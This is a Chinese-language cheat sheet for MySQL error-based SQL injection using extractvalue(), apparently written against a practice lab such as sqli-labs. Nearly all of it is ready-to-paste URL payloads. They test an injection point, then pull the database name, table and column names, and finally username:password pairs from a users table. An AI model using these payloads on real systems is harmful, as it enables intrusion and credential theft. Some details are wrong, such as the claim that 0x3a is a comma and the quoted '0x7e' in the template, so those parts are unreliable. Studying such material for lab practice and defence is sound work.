# extractvalue 報錯注入查詢語句:
SQL注入模闆:?id=正确值'and(select extractvalue(anything,concat('0x7e',(select語句))))--+
查資料庫名:?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+
爆表名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+
爆字段名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) --+
爆資料:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+
# 注:
與第一種方法不同的是:報錯注入使用的 id = 正确值
函數解釋:
extractvalue():從目标XML中傳回包含所查詢值的字元串。
EXTRACTVALUE (XML_document, XPath_string);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字元串)
concat:傳回結果為連接配接參數産生的字元串。
0x7e = ~ :加個波浪線,看着更加舒服。
# 檢查一下報錯注入點:
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失敗
# 構造 payload 來擷取資料庫資訊:
?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+
# 構造 payload 來擷取資料表
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+
?id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+ 通過目前指定的庫檢視表名
# 構造 payload 來擷取資料庫字段名:
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users")))) --+
# 回顯了,但是并沒有完全回顯使用 not in:重新構造 payload
and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') )))) --+
# 構造 payload 來擷取資料庫中的資料資訊:
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+
# 回顯了,但是沒有完全回顯,使用 not in 重構 payload :
where username not in ('Dumb','I-kill-you')
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+
# 注:
0x3a = ,